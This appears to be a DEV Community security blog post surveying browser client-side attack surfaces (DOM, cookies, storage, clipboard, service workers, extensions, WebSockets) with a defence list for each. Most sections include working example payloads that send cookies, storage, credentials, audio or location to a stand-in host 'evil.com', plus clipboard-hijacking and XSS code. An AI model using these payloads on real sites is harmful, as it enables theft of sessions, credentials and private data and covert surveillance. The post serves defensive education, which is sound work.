DEV Community

Cover image for Client-Side Attack Surface: Everything Inside the Browser Is a Weapon
Arashad Dodhiya
Arashad Dodhiya

Posted on

Client-Side Attack Surface: Everything Inside the Browser Is a Weapon

"The browser isn't just a viewport. It's an operating system. And like every OS, every feature is an attack surface waiting to be discovered."

If Part 1 was about the walls, this is about what's inside the walls.

The browser's security model is impressive. But it was never designed to protect against an attacker who's already inside — through a compromised dependency, an XSS payload, a malicious extension, or a supply-chain backdoor. Once that line is crossed, every browser API becomes a potential instrument of attack.

I'm going to walk you through every node of the browser's client-side surface — not just what it does, but how I've seen each one abused. Think of this as a field guide to the attack surface map every ethical hacker keeps in their head.


The Map

Browser
│
├── URL               ← Entry point for injection & manipulation
├── DOM               ← XSS playground
├── JavaScript        ← The attacker's runtime
├── Cookies           ← Session theft
├── LocalStorage      ← Persistent data theft
├── SessionStorage    ← Tab-scoped secrets
├── IndexedDB         ← Structured data exfiltration
├── Clipboard         ← Data in transit
├── Password Manager  ← Credential harvesting
├── Camera            ← Silent surveillance
├── Microphone        ← Passive interception
├── Geolocation       ← Physical tracking
├── Notifications     ← Phishing vector
├── Downloads         ← Malware delivery
├── Extensions        ← Privileged access abuse
├── Service Workers   ← Persistent browser implants
├── WebSockets        ← Covert channels
├── postMessage       ← Cross-frame exploitation
├── WebAssembly       ← Obfuscated malicious code
└── Browser APIs      ← Fingerprinting & leakage
Enter fullscreen mode Exit fullscreen mode

Let's go node by node.


1. URL — The First Line of Injection

The URL is user-controlled input. Everything in it — scheme, host, path, query, fragment, even the username:password fields — can be weaponized.

Attack Vectors

Open Redirect

https://app.com/redirect?to=https://evil.com
Enter fullscreen mode Exit fullscreen mode

Trusted domain, attacker-controlled destination. Used in phishing flows to borrow legitimacy.

Fragment-Based XSS (DOM XSS)

https://app.com/#<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

The fragment never reaches the server — it's processed entirely client-side. Server-side WAFs are blind to it.

URL Parameter Injection

https://app.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
Enter fullscreen mode Exit fullscreen mode

If the query parameter is reflected in the DOM without sanitization, game over.

Protocol Confusion

javascript:alert(1)  // In href attributes
data:text/html,...   // Content injection
Enter fullscreen mode Exit fullscreen mode

Defense

  • Validate and allowlist redirect destinations server-side
  • Never use location.hash or URLSearchParams to set innerHTML
  • Use encodeURIComponent() for all URL parameter values
  • CSP navigate-to directive limits navigation targets

2. DOM — The Battlefield

The Document Object Model is the live representation of everything on the page. It's also where XSS lives.

The Sink Problem

DOM XSS occurs when attacker-controlled data flows into a dangerous sink without sanitization:

Dangerous Sinks What They Do
innerHTML Parses HTML, executes event handlers
outerHTML Replaces element with arbitrary HTML
document.write() Injects raw HTML into document
eval() Executes string as JavaScript
setTimeout(string) Deferred eval
location.href = input Navigation injection
src on <script> Remote script load

The Flow

// Source: attacker-controlled
const name = new URLSearchParams(location.search).get('name');

// Sink: dangerous DOM write
document.querySelector('#greeting').innerHTML = 'Hello, ' + name;

// Payload: ?name=<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>
Enter fullscreen mode Exit fullscreen mode

Mutation XSS (mXSS)

Sanitizers can be bypassed by crafting HTML that is safe when parsed, but becomes dangerous after the browser re-serializes it through the DOM. The browser's HTML parser is a source of truth no sanitizer perfectly emulates.

<!-- Input, looks safe -->
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>

<!-- After DOM mutation — dangerous -->
<svg><p></p><style><img src=x onerror=alert(1)></style></svg>
Enter fullscreen mode Exit fullscreen mode

Defense

  • Use textContent instead of innerHTML wherever possible
  • Use the DOMPurify library for any HTML rendering
  • Enable the Trusted Types API to enforce safe DOM writes
  • Content-Security-Policy: trusted-types default

3. JavaScript — The Attacker's Native Runtime

Once JS runs on your origin, the attacker has access to everything SOP permits. That's the entire page, all storage, all cookies (without HttpOnly), all in-flight requests.

Supply Chain Attacks

The most underrated JS attack surface isn't your code — it's your dependencies.

// package.json
"dependencies": {
  "left-pad": "^1.0.0",       // 17 lines, 15 million weekly downloads
  "event-stream": "^3.3.4"    // Compromised to steal Bitcoin wallets
}
Enter fullscreen mode Exit fullscreen mode

A single compromised npm package injected into millions of sites. The attacker doesn't need to hack you — they hack a package you trust.

Prototype Pollution

// Attacker-controlled JSON merge
const merge = (target, source) => {
  for (let key in source) {
    target[key] = source[key]; // Dangerous if key is "__proto__"
  }
};

merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

console.log({}.isAdmin); // true — every object is now admin
Enter fullscreen mode Exit fullscreen mode

Prototype pollution can escalate to RCE in Node.js environments and bypass authorization checks in browsers.

Defense

  • Use Subresource Integrity (SRI) for all third-party scripts
  • Lock dependency versions with package-lock.json + audit with npm audit
  • Consider a Content Security Policy to limit script sources
  • Use Object.create(null) for dictionaries that accept user keys

4. Cookies — Session Tokens on a Silver Platter

Cookies are the primary mechanism for maintaining authenticated sessions. They're also one of the most stolen artifacts on the web.

The Theft Vectors

XSS Cookie Theft (when HttpOnly is missing)

fetch('https://evil.com/steal?c=' + document.cookie);
Enter fullscreen mode Exit fullscreen mode

CSRF (when SameSite is missing)

<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=5000">
Enter fullscreen mode Exit fullscreen mode

The browser sends cookies automatically. No JS required.

Cookie Tossing
If app.com and sub.app.com are both in scope, a cookie set on sub.app.com with no Domain attribute can still interfere with the parent domain's cookies in some browsers.

The Secure Cookie Checklist

Set-Cookie: session=abc123;
  HttpOnly;           ← Block JS access
  Secure;             ← HTTPS only
  SameSite=Strict;    ← No cross-site sending
  Path=/;             ← Scope to app
  Max-Age=3600;       ← Explicit expiry
Enter fullscreen mode Exit fullscreen mode
Flag What It Prevents
HttpOnly XSS cookie theft
Secure Network interception
SameSite=Strict CSRF
SameSite=Lax CSRF on navigation (balance)
__Host- prefix Cookie scope confusion

The Cookie Prefix Trick

Set-Cookie: __Host-session=abc; Secure; Path=/; SameSite=Strict
Enter fullscreen mode Exit fullscreen mode

__Host- prefix forces Secure, no Domain, and Path=/ — making it impossible to scope to a subdomain, hardening against cookie injection.


5. LocalStorage — Persistent, Accessible, Unencrypted

LocalStorage persists across sessions and survives browser restarts. It's scoped to origin. And it is completely accessible to any JavaScript running on that origin — including injected scripts.

What Attackers Look For

// One liner to exfiltrate everything
fetch('https://evil.com/dump', {
  method: 'POST',
  body: JSON.stringify(localStorage)
});
Enter fullscreen mode Exit fullscreen mode

I've found JWTs, API keys, user PII, OAuth tokens, and entire application state objects sitting in localStorage. Developers store them there because it's convenient. Attackers love convenience.

The JWT in LocalStorage Problem

// Common but dangerous pattern
localStorage.setItem('token', jwt);

// vs. the secure pattern
// Store in HttpOnly cookie — JS can't touch it
Enter fullscreen mode Exit fullscreen mode

JWTs in localStorage are trivially stolen via XSS. JWTs in HttpOnly cookies are not.

Defense

  • Never store authentication tokens in LocalStorage
  • Never store sensitive PII in LocalStorage
  • If you must store state, consider encrypted storage with a per-session key
  • Treat LocalStorage as public — because under XSS, it is

6. SessionStorage — Same Problems, Shorter Window

Same API as LocalStorage, but cleared when the tab closes. The attack surface is identical — any XSS running in the same session can read it. The only difference for an attacker is urgency.

// Attacker payload in XSS context
const data = {...sessionStorage};
navigator.sendBeacon('https://evil.com/log', JSON.stringify(data));
Enter fullscreen mode Exit fullscreen mode

sendBeacon is fire-and-forget, survives page unload, and doesn't require a response. Perfect for quick exfiltration during a session.

Defense: Same as LocalStorage — treat as public under XSS. Never store secrets here.


7. IndexedDB — The Structured Data Vault

IndexedDB is a full client-side database. It can store gigabytes of structured data. And yes, any JS on the page can read all of it.

Why This Is More Dangerous Than It Looks

IndexedDB is used by:

  • Progressive Web Apps storing offline data
  • Email clients caching message bodies (Gmail uses it)
  • Password managers storing vault state
  • Medical apps caching patient records offline
// Exfiltrating an IndexedDB database via XSS
const request = indexedDB.open('app-database');
request.onsuccess = (e) => {
  const db = e.target.result;
  const tx = db.transaction(db.objectStoreNames, 'readonly');
  // Iterate all stores and exfiltrate
  Array.from(db.objectStoreNames).forEach(storeName => {
    tx.objectStore(storeName).getAll().onsuccess = (e) => {
      fetch('https://evil.com/db', {
        method: 'POST',
        body: JSON.stringify({ store: storeName, data: e.target.result })
      });
    };
  });
};
Enter fullscreen mode Exit fullscreen mode

Defense: Encrypt sensitive data before writing to IndexedDB. Treat XSS as a threat to your entire local database, not just cookies.


8. Clipboard — Data in Transit

The Clipboard API allows reading and writing the user's clipboard. Combined with the fact that people copy passwords, credit card numbers, private keys, and 2FA codes constantly — this is a high-value target.

The Attack

// Silently exfiltrate whatever the user last copied
navigator.clipboard.readText().then(text => {
  fetch('https://evil.com/clip?data=' + encodeURIComponent(text));
});
Enter fullscreen mode Exit fullscreen mode

Clipboard hijacking — replacing copied crypto wallet addresses with the attacker's:

document.addEventListener('copy', (e) => {
  const selected = window.getSelection().toString();
  if (/^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/.test(selected)) {
    // Looks like a Bitcoin address
    e.clipboardData.setData('text/plain', 'attacker_wallet_address');
    e.preventDefault();
  }
});
Enter fullscreen mode Exit fullscreen mode

This exact attack has been used to steal millions in cryptocurrency.

Defense

  • clipboard-read requires explicit user permission in modern browsers
  • Permissions Policy: clipboard-read=() disables it for embedded content
  • Users should verify clipboard contents before sending crypto transactions

9. Password Manager — Autofill as Attack Surface

Password managers (built-in and third-party) autofill credentials based on origin matching. This creates multiple attack vectors.

Credential Phishing via Hidden Forms

<!-- Visible login form -->
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">

<!-- Hidden form — autofill populates both -->
<input type="password" id="steal" style="display:none" autocomplete="current-password">
Enter fullscreen mode Exit fullscreen mode

Some password managers autofill all matching fields, including hidden ones.

Cross-Origin Autofill Leakage

Older password manager browser extensions matched domains loosely. app.com and evil-app.com might both receive autofill for app.com credentials depending on the extension logic.

Credential Harvesting via XSS

// If autofill has populated the form, read it immediately
const creds = {
  user: document.querySelector('input[type=email]')?.value,
  pass: document.querySelector('input[type=password]')?.value
};
if (creds.user) fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify(creds) });
Enter fullscreen mode Exit fullscreen mode

Users don't realize the password is already in the DOM as soon as the page loads with autofill.

Defense

  • autocomplete="off" is largely ignored by modern browsers (by design)
  • Ensure your login forms are only served over HTTPS on your own origin
  • Implement CSP to limit where data can be sent
  • Subresource Integrity for any third-party scripts near login forms

10. Camera & Microphone — Silent Sensors

Both require explicit user permission, gated behind browser prompts. But once permission is granted, it persists — and any JS on that origin can invoke it.

The Threat

// Silent audio recording after permission is granted
navigator.mediaDevices.getUserMedia({ audio: true }).then(stream => {
  const recorder = new MediaRecorder(stream);
  const chunks = [];
  recorder.ondataavailable = e => chunks.push(e.data);
  recorder.onstop = () => {
    const blob = new Blob(chunks);
    // Exfiltrate recording
    fetch('https://evil.com/audio', { method: 'POST', body: blob });
  };
  recorder.start();
  setTimeout(() => recorder.stop(), 5000); // 5 seconds
});
Enter fullscreen mode Exit fullscreen mode

A compromised webpage, browser extension, or XSS payload that runs on a site that has camera permission (video conferencing, medical portal) can do this silently.

Defense

  • Permissions-Policy: camera=(), microphone=() — disable for pages that don't need it
  • Revoke permissions for sites you no longer trust (browser settings)
  • Physical camera covers are still valid security controls
  • Browser indicator lights (on most hardware) do show camera/mic access — but not always visibly

11. Geolocation — Precise Physical Tracking

Geolocation permission grants access to the user's physical coordinates — often GPS-accurate on mobile.

The Threat

navigator.geolocation.watchPosition(pos => {
  fetch('https://evil.com/track', {
    method: 'POST',
    body: JSON.stringify({
      lat: pos.coords.latitude,
      lng: pos.coords.longitude,
      accuracy: pos.coords.accuracy,
      timestamp: Date.now()
    })
  });
}, null, { enableHighAccuracy: true });
Enter fullscreen mode Exit fullscreen mode

watchPosition continuously reports location changes. A compromised site with geolocation permission is a passive tracker.

Defense

  • Permissions-Policy: geolocation=(self) — restrict to own origin only
  • Prefer getCurrentPosition (one-time) over watchPosition (continuous)
  • Users should grant geolocation only on demand, not persistently

12. Notifications — The Browser Phishing Channel

Push notifications are the legitimate use case. But the same channel is abused for persistent phishing.

The Attack Flow

  1. User visits sketchy site
  2. "Click Allow to continue watching" — social engineering the permission
  3. Site registers a service worker with a push subscription
  4. Now delivers phishing notifications forever, even when the site isn't open
  5. Notifications can link to credential-harvesting pages with bank logos
// After permission granted, notification content is attacker-controlled
self.registration.showNotification('Your bank account needs attention', {
  body: 'Unusual activity detected. Click to verify.',
  icon: 'https://evil.com/bank-logo.png',
  data: { url: 'https://evil.com/phish' }
});
Enter fullscreen mode Exit fullscreen mode

Defense

  • Permissions-Policy: notifications=() — block in iframes
  • Users: review and revoke notification permissions regularly
  • chrome://settings/content/notifications / Firefox equivalent
  • CSP connect-src can limit where push subscriptions connect

13. Downloads — Malware Delivery Vector

The browser's download mechanism can be triggered programmatically, with attacker-controlled filename and content.

// Programmatic download — attacker controls filename and content
const a = document.createElement('a');
a.href = 'data:application/octet-stream;base64,' + maliciousPayload;
a.download = 'invoice-2024.pdf.exe'; // Double extension trick
a.click();
Enter fullscreen mode Exit fullscreen mode

Combine this with:

  • A drive-by download triggered by a compromised ad
  • A filename that exploits OS extension hiding (invoice.pdf\u202e.exe — RTL override character)
  • Content-Disposition: attachment; filename=update.exe from a compromised CDN

Defense

  • X-Content-Type-Options: nosniff — prevents MIME-type sniffing
  • CSP default-src limits what origins can deliver resources
  • Download directory monitoring in EDR/endpoint solutions
  • Educate users: legitimate invoices don't come as .exe

14. Extensions — Privileged Strangers in the Browser

Browser extensions run in an elevated context. They can read every page, intercept network requests, modify the DOM, and access storage across origins. They bypass SOP entirely.

The Attack Surface

  • Malicious extension masquerading as legitimate (fake ad blocker with 2M installs)
  • Compromised legitimate extension via acquired developer account
  • Extension with overly broad permissions exploited via a vulnerability in the extension itself
// A malicious extension content script can:
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete' && tab.url?.includes('bank.com')) {
    chrome.scripting.executeScript({
      target: { tabId },
      func: () => {
        // Running on bank.com with full DOM access
        // Bypasses CSP if injected by extension
        document.forms[0].addEventListener('submit', e => {
          fetch('https://evil.com/creds', {
            method: 'POST',
            body: new FormData(e.target)
          });
        });
      }
    });
  }
});
Enter fullscreen mode Exit fullscreen mode

Extension-injected scripts can bypass CSP because they run with the extension's privileges, not the page's.

Defense

  • Minimize installed extensions — every extension is a trusted stranger
  • Audit extension permissions before installing
  • Use browser profiles to isolate sensitive browsing (banking) from general browsing
  • Enterprise: enforce extension allowlists via policy

15. Service Workers — The Persistent Browser Implant

Service Workers are the most powerful and most underestimated attack surface in modern browsers.

A registered service worker:

  • Lives outside the page lifecycle — persists after the tab closes
  • Intercepts all network requests from the origin
  • Can serve cached responses — even offline
  • Can run background sync and push handlers

The Threat

// Malicious service worker — intercepts all requests on the origin
self.addEventListener('fetch', event => {
  const url = event.request.url;

  // Log every request made on this origin
  fetch('https://evil.com/log?url=' + encodeURIComponent(url) + '&cookie=' + self.cookieStore);

  // Serve malicious response for specific paths
  if (url.includes('/api/login')) {
    event.respondWith(
      fetch(event.request.clone()).then(response => {
        response.clone().json().then(body => {
          fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify(body) });
        });
        return response;
      })
    );
  }
});
Enter fullscreen mode Exit fullscreen mode

If an attacker registers a malicious service worker via XSS — even a brief XSS — it persists after the vulnerability is patched. The implant outlives the injection.

Defense

  • Service-Worker-Allowed header limits registration scope
  • Implement Service Worker versioning with integrity checks
  • Clear-Site-Data: "cache", "storage" — nuclear option to clear registered workers
  • Monitor for unexpected service worker registrations in your CSP report endpoint
  • Service workers require HTTPS — enforcing HTTPS is a prerequisite defense

16. WebSockets — The Covert Channel

WebSockets establish persistent, bidirectional connections. They bypass some security controls that apply to HTTP.

The Threats

WebSocket Hijacking (Cross-Site WebSocket Hijacking / CSWSH)

WebSockets don't enforce CORS. They use Origin header — but only the server validates it. If the server doesn't check:

// On evil.com
const ws = new WebSocket('wss://app.com/ws'); // Includes cookies!
ws.onmessage = msg => fetch('https://evil.com/dump?d=' + msg.data);
Enter fullscreen mode Exit fullscreen mode

Data Exfiltration Channel

WebSocket traffic is often less monitored than HTTP. An XSS payload that exfiltrates via WebSocket to a C2 server may evade detection:

const ws = new WebSocket('wss://attacker-c2.com');
ws.onopen = () => ws.send(JSON.stringify({ cookies: document.cookie, storage: {...localStorage} }));
Enter fullscreen mode Exit fullscreen mode

Defense

  • Validate the Origin header server-side on WebSocket handshake
  • Use WebSocket-specific CSRF tokens
  • Implement authentication at the WebSocket protocol level, not just on initial HTTP handshake
  • CSP connect-src controls which WebSocket endpoints can be connected to

17. postMessage — Cross-Frame Exploitation

postMessage is the sanctioned way for cross-origin iframes and windows to communicate. Insecure implementations create serious vulnerabilities.

The Attack

Sender: trusting any origin

// Vulnerable: no origin check
window.addEventListener('message', (event) => {
  // event.origin is NOT checked
  document.querySelector('#output').innerHTML = event.data; // XSS sink
});
Enter fullscreen mode Exit fullscreen mode

Attacker from evil.com:

const target = window.open('https://app.com');
target.postMessage('<img src=x onerror=alert(1)>', '*');
Enter fullscreen mode Exit fullscreen mode

Receiver: broadcasting to any origin

// Vulnerable: * target origin
parent.postMessage({ token: authToken }, '*'); // Any frame can catch this
Enter fullscreen mode Exit fullscreen mode

If the page is framed by an attacker's page, the * wildcard means the attacker receives the auth token.

Defense

// Always validate origin
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-partner.com') return;
  // Now safe to process
});

// Always specify target origin when sending
parent.postMessage({ token: authToken }, 'https://trusted-parent.com');
Enter fullscreen mode Exit fullscreen mode

18. WebAssembly — The Obfuscation Layer

WebAssembly (WASM) runs compiled binary code in the browser at near-native speed. It's designed for performance. Attackers use it for obfuscation and to evade JS-based security tools.

The Threats

Cryptomining
CoinHive and its successors shipped as WASM modules. JS-based CSP can't block WASM execution if the WASM file is allowed by script-src.

Obfuscated Malware
WASM binaries are opaque to most content scanners, WAFs, and browser DevTools at first glance. A malicious WASM module can perform:

  • Side-channel attacks (Spectre implementations are easier in WASM)
  • Cryptographic operations for C2 communication
  • Deobfuscation of encrypted payloads

Sandbox Escape Research
WASM JIT bugs have been a source of browser exploitation. The JIT compiler for WASM is a complex attack surface with a history of critical vulnerabilities.

Defense

  • CSP script-src with 'wasm-unsafe-eval' controls WASM instantiation
  • Consider Cross-Origin-Embedder-Policy: require-corp — required for SharedArrayBuffer, which WASM side-channel attacks often rely on
  • Monitor for unexpected WASM file loads via CSP reporting

19. Browser APIs — The Fingerprinting & Leakage Layer

Every browser API that exists to help legitimate developers also helps attackers profile, track, and identify users.

The Fingerprinting Arsenal

API What It Leaks
navigator.userAgent OS, browser, version
screen.width/height/colorDepth Display configuration
navigator.hardwareConcurrency CPU core count
navigator.deviceMemory RAM (rounded)
WebGL GPU vendor and renderer string
AudioContext Hardware-specific audio processing signature
Canvas API Font rendering, GPU-level pixel differences
navigator.plugins Installed browser plugins
Intl.DateTimeFormat Timezone and locale
performance.now() High-res timer (Spectre-adjacent)

Combined, these create a fingerprint accurate enough to identify 95%+ of users even without cookies.

The Canvas Fingerprint

const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Browser fingerprint 🔒', 2, 2);
const fingerprint = canvas.toDataURL(); // Unique per device/GPU
Enter fullscreen mode Exit fullscreen mode

Every GPU renders this text slightly differently at the sub-pixel level. The resulting data URL is a device fingerprint.

Defense

  • Firefox: Enhanced Tracking Protection reduces fingerprinting API precision
  • Brave: Randomizes canvas, audio, and WebGL outputs per origin
  • Chrome: Privacy Sandbox aims to reduce covert tracking channels
  • Permissions Policy can restrict some high-precision APIs
  • Users can use browser isolation (separate profiles or Tor Browser) for sensitive sessions

The Unified Attack Chain

Here's how a sophisticated attacker chains these surfaces in a real attack:

1. URL → inject payload via query parameter
2. DOM → XSS in innerHTML sink
3. JavaScript → payload executes
4. Cookies → steal non-HttpOnly session token
5. LocalStorage → dump JWT and API keys
6. postMessage → sniff cross-frame communication
7. Service Worker → register persistent implant
8. WebSocket → open C2 channel that survives page close
9. Browser APIs → fingerprint user for re-identification after cookie clear
Enter fullscreen mode Exit fullscreen mode

Each step uses a different surface. Defense on one layer doesn't protect the next.


The Defender's Mindset: Assume Breach, Layer Defense

Every single surface listed in this post has one thing in common: they're all accessible from JavaScript running on your origin.

That's the threat model. Not an external attacker breaking through HTTPS. An attacker who is already running code on your page — via XSS, a compromised dependency, a malicious ad, or a poisoned CDN.

Your defense framework, in priority order:

1. Prevent XSS            → CSP + DOMPurify + Trusted Types
2. Minimize persistence   → HttpOnly + Secure + SameSite cookies; no secrets in localStorage
3. Isolate origins        → CORS + CORP + COOP + COEP
4. Limit API access       → Permissions Policy
5. Detect exfiltration    → CSP report-uri + monitoring
6. Audit dependencies     → SRI + npm audit + lock files
7. Harden extensions      → Allowlist via policy; isolate sensitive browsing
Enter fullscreen mode Exit fullscreen mode

Testing This Yourself

# Quick header audit
curl -I https://your-site.com | grep -E "Content-Security|COOP|COEP|CORP|Permissions"

# DOM XSS scanning
npx retire --js  # Check for vulnerable JS libraries

# Cookie audit (Chrome DevTools)
# Application → Cookies → check HttpOnly, Secure, SameSite columns

# postMessage monitoring
# DevTools Console:
window.addEventListener('message', console.log);

# Service Worker audit
# Application → Service Workers → check registered workers
Enter fullscreen mode Exit fullscreen mode

Tools of the Trade

Tool Purpose
Burp Suite Full client-side interception & testing
DOMPurify XSS sanitization library
CSP Evaluator CSP weakness analysis
retire.js Vulnerable JS library detection
Browser Audit Browser security configuration checks
OWASP ZAP Open-source web app scanner
Extension Fingerprints Detect installed extensions

Final Thought

The browser was built for trust. It executes code from strangers. It stores your passwords. It knows where you are. It sees your screen and hears your voice. It maintains connections to servers you've never visited directly.

That's not a design flaw — that's what makes the web powerful. But it means that every feature is dual-use. The same API that lets your video conferencing app access your camera can be turned against you by an XSS payload running on that same page.

The only way to defend it is to understand it the way an attacker does — exhaustively, adversarially, and without comfortable assumptions.

Top comments (0)